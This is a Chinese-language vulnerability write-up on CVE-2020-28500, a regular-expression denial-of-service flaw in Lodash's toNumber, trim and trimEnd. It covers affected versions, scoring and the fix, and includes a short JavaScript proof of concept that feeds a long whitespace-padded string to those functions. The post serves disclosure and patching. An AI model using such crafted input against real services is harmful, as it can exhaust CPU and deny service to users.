Lodash正则表达式拒绝服务(ReDoS)漏洞深度解析

本文详细分析了Lodash库中存在的正则表达式拒绝服务漏洞(CVE-2020-28500),影响版本4.0.0至4.17.20,涉及toNumber、trim和trimEnd函数,攻击者可通过构造特定输入导致服务拒绝。

正则表达式拒绝服务(ReDoS)在Lodash中的漏洞分析

漏洞概述

CVE-2020-28500 是一个影响Lodash库的中等严重性漏洞,存在于4.0.0至4.17.20版本中。该漏洞属于正则表达式拒绝服务(ReDoS)类型,可能被攻击者利用导致服务不可用。

受影响版本

npm包

  • lodash: >= 4.0.0, < 4.17.21
  • lodash-es: >= 4.0.0, < 4.17.21
  • lodash.trim: >= 4.0.0, <= 4.5.1
  • lodash.trimend: >= 4.0.0, <= 4.5.1

RubyGems包

  • lodash-rails: >= 4.0.0, < 4.17.21

受影响的函数

漏洞影响以下三个Lodash函数:

  • toNumber
  • trim
  • trimEnd

漏洞复现步骤

以下是漏洞复现代码示例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var lo = require('lodash');

function build_blank(n) {
    var ret = "1"
    for (var i = 0; i < n; i++) {
        ret += " "
    }
    return ret + "1";
}

var s = build_blank(50000)
var time0 = Date.now();
lo.trim(s) 
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0);

var time1 = Date.now();
lo.toNumber(s)
var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1);

var time2 = Date.now();
lo.trimEnd(s);
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2);

安全评分

CVSS v3.1 评分: 5.3(中等)

基础指标

  • 攻击向量:网络
  • 攻击复杂度:低
  • 所需权限:无
  • 用户交互:无
  • 范围:未改变
  • 机密性影响:无
  • 完整性影响:无
  • 可用性影响:低

弱点分类

  • CWE-400: 不受控制的资源消耗
  • CWE-1333: 低效的正则表达式复杂度

修复版本

已修复的版本为 4.17.21

参考链接

该漏洞允许攻击者通过向受影响函数提供特定构造的输入,触发正则表达式的指数级时间复杂度,从而导致CPU资源耗尽和服务拒绝。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计